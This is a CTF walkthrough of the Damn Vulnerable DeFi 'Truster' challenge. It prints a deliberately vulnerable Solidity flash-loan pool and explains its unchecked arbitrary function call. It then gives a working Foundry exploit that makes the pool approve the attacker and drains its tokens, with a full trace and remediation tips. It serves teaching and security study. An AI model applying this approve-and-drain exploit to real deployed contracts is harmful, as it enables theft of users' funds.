CTF walkthrough, Damn Vulnerable DeFi, #3 Truster

Challenge

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

Currently the pool has 1 million DVT tokens in balance. And you have nothing.

But don’t worry, you might be able to take them all from the pool. In a single transaction.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;

import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";
import {Address} from "openzeppelin-contracts/utils/Address.sol";
import {ReentrancyGuard} from "openzeppelin-contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;

    IERC20 public immutable damnValuableToken;

    error NotEnoughTokensInPool();
    error FlashLoanHasNotBeenPaidBack();

    constructor(address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }

    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    ) external nonReentrant {
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();

        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
    }
}

Analysis

The contract keeps a reference to the DVT ERC20 token, which is set in the constructor:

IERC20 public immutable damnValuableToken;

The flashLoan function takes 4 arguments:

  • uint256 borrowAmount – The amount of DVT tokens user wants to borrow.
  • address borrower – Same as in the previous challenge, this function requires us to pass the borrower address instead of just using msg.sender.
  • address target – The flash loan receiver contract.
  • bytes calldata data – The signature of an external function, which is called on target contract 🤔.

In the very beginning this function checks that the contract has enough tokens to lend and transfers the requested borrowAmount to the borrower address:

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();

damnValuableToken.transfer(borrower, borrowAmount);

And at the end it ensures that the borrower has repaid the flash loan:

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();

Everything looks good so far… until we encounter this line right after transferring funds to the borrower:

target.functionCall(data);

The functionCall is defined in the OpenZeppelin’s Address library:

Performs a Solidity function call using a low level call. A plain call is an unsafe replacement for a function call: use this function instead. If target reverts with a revert reason, it is bubbled up by this function (like regular Solidity function calls). OpenZeppelin docs

Basically this line above allows us to call any function on any smart contract, which is a very bad news for the TrusterLenderPool because we’re going to use this flaw to steal all the DVT’s from it 😈.

Solution

There is no validation of the minimum allowed borrowAmount. Hence we can borrow 0 tokens so we don’t have to repay anything at all. Then we can pass the encoded approve function to set the attacker an allowance to spend all the TrusterLenderPool’s tokens. Finally, the attacker can transfer all the DVT tokens to its account.

function testExploit() public {
    /** EXPLOIT START **/
    uint256 poolBalance = dvt.balanceOf(address(trusterLenderPool));
    vm.prank(attacker);
    bytes memory attrackCallData = abi.encodeWithSignature(
        "approve(address,uint256)",
        attacker,
        poolBalance
    );
    trusterLenderPool.flashLoan(0, attacker, address(dvt), attrackCallData);
    vm.prank(attacker);
    dvt.transferFrom(address(trusterLenderPool), attacker, poolBalance);
    /** EXPLOIT END **/
    validation();
}

We don’t care about the borrower argument here, since we aren’t borrowing anything. So it could be any other address instead, except the address(0).

The trace:

[72299] Truster::testExploit()
  ├─ [2562] DVT::balanceOf(Truster Lender Pool: [...]) [staticcall]
  │   └─ ← 1000000000000000000000000
  ├─ [0] VM::prank(Attacker: [...])
  │   └─ ← ()
  ├─ [36532] Truster Lender Pool::flashLoan(0, Attacker: [...], DVT: [...], ...)
  │   ├─ [562] DVT::balanceOf(Truster Lender Pool: [...]) [staticcall]
  │   │   └─ ← 1000000000000000000000000
  │   ├─ [5270] DVT::transfer(Attacker: [...], 0)
  │   │   ├─ emit Transfer(from: Truster Lender Pool: [...], to: Attacker: [...], value: 0)
  │   │   └─ ← true
  │   ├─ [24624] DVT::approve(Attacker: [...], 1000000000000000000000000)
  │   │   ├─ emit Approval(owner: Truster Lender Pool: [...], spender: Attacker: [...], value: 1000000000000000000000000)
  │   │   └─ ← true
  │   ├─ [562] DVT::balanceOf(Truster Lender Pool: [...]) [staticcall]
  │   │   └─ ← 1000000000000000000000000
  │   └─ ← ()
  ├─ [0] VM::prank(Attacker: [...])
  │   └─ ← ()
  ├─ [22927] DVT::transferFrom(Truster Lender Pool: [...], Attacker: [...], 1000000000000000000000000)
  │   ├─ emit Approval(owner: Truster Lender Pool: [...], spender: Attacker: [...], value: 0)
  │   ├─ emit Transfer(from: Truster Lender Pool: [...], to: Attacker: [...], value: 1000000000000000000000000)
  │   └─ ← true
  ├─ [562] DVT::balanceOf(Truster Lender Pool: [...]) [staticcall]
  │   └─ ← 0
  ├─ [562] DVT::balanceOf(Attacker: [...]) [staticcall]
  │   └─ ← 1000000000000000000000000
  └─ ← ()

Remediation

  • Don’t allow calling arbitrary functions, require a specific interface.
  • Use msg.sender instead of having the separate borrower and target addresses.

I hope you enjoyed reading this post. The code for this challenge is here. Let’s continue to the next one – #4 Side entrance.